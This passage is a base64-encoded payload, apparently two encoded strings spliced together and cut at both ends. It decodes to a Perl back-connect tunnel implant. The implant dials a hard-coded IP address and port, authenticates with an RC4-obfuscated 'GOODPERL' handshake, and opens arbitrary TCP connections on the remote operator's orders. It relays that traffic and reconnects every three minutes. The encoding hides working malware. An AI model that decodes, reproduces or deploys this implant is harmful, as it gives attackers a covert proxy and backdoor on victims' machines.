rZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewo